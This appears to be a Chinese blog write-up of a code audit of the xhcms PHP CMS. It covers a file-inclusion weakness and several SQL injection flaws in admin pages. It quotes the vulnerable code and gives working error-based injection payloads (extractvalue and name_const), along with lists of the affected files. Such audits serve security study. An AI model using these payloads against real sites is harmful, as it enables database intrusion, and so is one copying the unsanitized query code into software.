本文最后更新于:2024年11月24日 下午
xhcms代码审计
先用seay自动审计,然后一个个查看验证

文件包含
/index.php
和/admin/index.php
是一样的代码:
1 2 3 4 5 6 7
| <?php
error_reporting(0); $file=addslashes($_GET['r']); $action=$file==''?'index':$file; include('files/'.$action.'.php'); ?>
|
可以看到,前缀和后缀都写死了。
前缀files/
可以通过../
进行目录穿越来绕过。
后缀一般通过%00
截断绕过,但这里有addslashes
函数,会对NULL字符转义,所以无法使用。
这里后缀的绕过需要使用长度截断实现,但条件很苛刻
需要php版本小于5.3.29
同时Virtual Directory Support=enable
Virtual Directory Support
在phpstudy_pro中是默认关闭的。
总之这里对后缀的绕过在理论上是可行的,但实际上很难实现。
sql注入
存在很多因变量未过滤导致的sql注入,同时sql报错信息会直接显示出来,可以使用报错注入。
比如在/admin/files/editlink.php
文件中存在下列代码:
1 2 3
| $id=$_GET['id']; $query = "SELECT * FROM link WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
|
变量$id
未经过滤,直接放在sql查询语句中
报错时会回显报错信息die('SQL语句有误:'.mysql_error());
payload:
1
| http://xhcms.cn/admin/?r=editlink&id=1%27%20and%20(extractvalue(1,concat(0x7e,(select%20user()),0x7e)));--+
|

以下文件中都存在上述问题代码,payload改一下模块名就能用
1 2 3 4 5 6
| /admin/files/editcolumn.php /admin/files/editcolumn.php /admin/files/editlink.php /admin/files/editsoft.php /admin/files/editwz.php /admin/files/reply.php
|
还有一种是update和insert语句存在的sql注入,同样也是sql注入
比如在/admin/files/imageset.php
文件中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| $img_kg=$_POST['img_kg']; $img_logo=$_POST['img_logo']; $img_weizhi=$_POST['img_weizhi']; $img_slt=$_POST['img_slt']; $img_moshi=$_POST['img_moshi']; $img_wzkd=$_POST['img_wzkd']; $img_wzgd=$_POST['img_wzgd']; ...... $query = "UPDATE imageset SET img_kg='$img_kg', $images img_weizhi='$img_weizhi', img_slt='$img_slt', img_moshi='$img_moshi', img_wzkd='$img_wzkd', img_wzgd='$img_wzgd'"; @mysql_query($query) or die('修改错误:'.mysql_error());
|
这里同样是变量未经转义和报错信息回显
只是payload和select语句中使用的不一样
payload:
1
| ' or (select * from (select name_const(version(),1),name_const(version(),1))a) or '
|
随便选个文本框把payload填入点保存即可

以下文件中都存在类似的问题代码,具有相似的利用方法:
1 2 3 4 5 6 7
| /admin/files/imageset.php /admin/files/manageinfo.php /admin/files/newlink.php /admin/files/reply.php /admin/files/seniorset.php /admin/files/seniorset.php /admin/files/siteset.php
|